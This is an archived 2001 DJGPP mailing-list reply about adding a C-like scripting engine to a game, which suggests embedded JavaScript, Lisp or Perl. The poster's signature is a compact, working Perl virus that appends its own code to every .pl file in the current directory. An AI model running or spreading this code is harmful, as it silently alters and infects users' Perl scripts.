Mail Archives: djgpp/2001/03/07/13:06:48
Kai Dietrich <toepferei DOT dietrich AT t-online DOT de> schrieb Folgendes:
> Hi!
>
> > > Why a C interpreter?
> >
> > I don't know. The OP didn't provide any rationale.
> >
> > But the real question would be: if an interpreter, why one for C, of
> > all all possible languages?
>
> I would like to introduce a skript engine into a mission based game to create
> new missions. I could implement all the missions directly to the source code,
> but this is very uncomfortable, because nobody can add new missions without
> having the source. First I thought about a new created basic like language but
> after thinking a little bit more, I came to the conclusion that it wouldn't be
> much more complicated to use the C syntax. As you can see, I don't need the
> whole ANSI C, only a few parts (functions, a few basic datatypes, if, loops,
> perhaps structs). I think I allready have the solutions to implement a (fast)
> skripting language. I'll try out.
Is there a free JavaScript engine? If not, you could try Lisp (used by
emacs) or Perl (you can statically link to it and use it, but embedding it
is not too easy).
--
#!/usr/bin/perl
eval($0=q{$0="\neval(\$0=q{$0});\n";for(<*.pl>){open X,">>$_";print X
$0;close X;}print''.reverse"\nsuriv lreP trohs rehtona tsuJ>RH<\n"});
####################### http://learn.to/quote #######################
- Raw text -